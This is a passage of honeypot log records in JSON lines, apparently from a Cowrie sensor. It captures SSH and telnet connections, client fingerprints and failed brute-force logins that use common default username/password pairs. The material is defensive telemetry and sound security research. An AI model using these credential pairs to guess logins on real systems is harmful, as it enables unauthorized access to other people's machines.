"ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:10.544970Z","src_ip":"91.92.40.36","session":"713010063af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:11.010854Z","src_ip":"91.92.40.36","session":"958d55493804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15262,"dst_ip":"10.17.0.5","dst_port":22,"session":"c969f8eefe5f","protocol":"ssh","message":"New connection: 45.153.34.195:15262 (10.17.0.5:22) [session: c969f8eefe5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:11.618037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:11.622566Z","src_ip":"45.153.34.195","session":"c969f8eefe5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:11.723688Z","src_ip":"45.153.34.195","session":"c969f8eefe5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:11.974199Z","src_ip":"45.153.34.195","session":"c969f8eefe5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:13.058666Z","src_ip":"45.153.34.195","session":"c969f8eefe5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35972,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d4bcbce5da","protocol":"ssh","message":"New connection: 45.153.34.195:35972 (10.17.0.5:22) [session: 38d4bcbce5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:14.519442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:14.526896Z","src_ip":"45.153.34.195","session":"38d4bcbce5da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:14.615047Z","src_ip":"45.153.34.195","session":"38d4bcbce5da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dneo","password":"dneo","message":"login attempt [dneo/dneo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:14.923442Z","src_ip":"45.153.34.195","session":"38d4bcbce5da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50536,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a03a7d4b0c","protocol":"ssh","message":"New connection: 91.92.40.36:50536 (10.17.0.5:22) [session: 58a03a7d4b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:15.566665Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44844,"dst_ip":"159.203.135.109","dst_port":23,"session":"10231b946344","protocol":"telnet","message":"New connection: 128.199.8.54:44844 (159.203.135.109:23) [session: 10231b946344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:15.896830Z"}
{"eventid":"cowrie.session.closed","duration":0.006692647933959961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:15.903367Z","src_ip":"128.199.8.54","session":"10231b946344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:16.006359Z","src_ip":"45.153.34.195","session":"38d4bcbce5da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":45262,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c8c770d460b","protocol":"ssh","message":"New connection: 201.17.146.173:45262 (159.203.135.109:22) [session: 1c8c770d460b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.092922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.097011Z","src_ip":"201.17.146.173","session":"1c8c770d460b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.258839Z","src_ip":"201.17.146.173","session":"1c8c770d460b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.292084Z","src_ip":"91.92.40.36","session":"58a03a7d4b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.297872Z","src_ip":"91.92.40.36","session":"58a03a7d4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35982,"dst_ip":"10.17.0.5","dst_port":22,"session":"77a481c4fcb3","protocol":"ssh","message":"New connection: 45.153.34.195:35982 (10.17.0.5:22) [session: 77a481c4fcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.413992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.424711Z","src_ip":"45.153.34.195","session":"77a481c4fcb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.514926Z","src_ip":"45.153.34.195","session":"77a481c4fcb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.697784Z","src_ip":"91.92.40.36","session":"713010063af4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.771438Z","src_ip":"45.153.34.195","session":"77a481c4fcb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wesley","password":"wesley","message":"login attempt [wesley/wesley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:17.942128Z","src_ip":"201.17.146.173","session":"1c8c770d460b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:18.855544Z","src_ip":"45.153.34.195","session":"77a481c4fcb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:19.114981Z","src_ip":"201.17.146.173","session":"1c8c770d460b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35992,"dst_ip":"10.17.0.5","dst_port":22,"session":"87129a77be96","protocol":"ssh","message":"New connection: 45.153.34.195:35992 (10.17.0.5:22) [session: 87129a77be96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:20.159504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:20.247908Z","src_ip":"45.153.34.195","session":"87129a77be96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:20.251490Z","src_ip":"45.153.34.195","session":"87129a77be96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openvpnas","message":"login attempt [root/openvpnas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:20.822182Z","src_ip":"45.153.34.195","session":"87129a77be96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:21.071653Z","src_ip":"91.92.40.36","session":"713010063af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:21.924963Z","src_ip":"45.153.34.195","session":"87129a77be96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ce3b8b3413","protocol":"ssh","message":"New connection: 45.153.34.195:33646 (10.17.0.5:22) [session: 15ce3b8b3413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:23.150717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:23.263958Z","src_ip":"45.153.34.195","session":"15ce3b8b3413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:23.268981Z","src_ip":"45.153.34.195","session":"15ce3b8b3413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123456","message":"login attempt [jenkins/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:23.727432Z","src_ip":"45.153.34.195","session":"15ce3b8b3413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50092,"dst_ip":"159.203.135.109","dst_port":22,"session":"66748c00bec1","protocol":"ssh","message":"New connection: 27.71.230.31:50092 (159.203.135.109:22) [session: 66748c00bec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:23.877909Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62696,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fa2fb36a2e","protocol":"ssh","message":"New connection: 91.92.40.36:62696 (10.17.0.5:22) [session: 01fa2fb36a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:24.117593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:24.150417Z","src_ip":"27.71.230.31","session":"66748c00bec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:24.155555Z","src_ip":"27.71.230.31","session":"66748c00bec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:24.816672Z","src_ip":"45.153.34.195","session":"15ce3b8b3413","protocol":"ssh"}
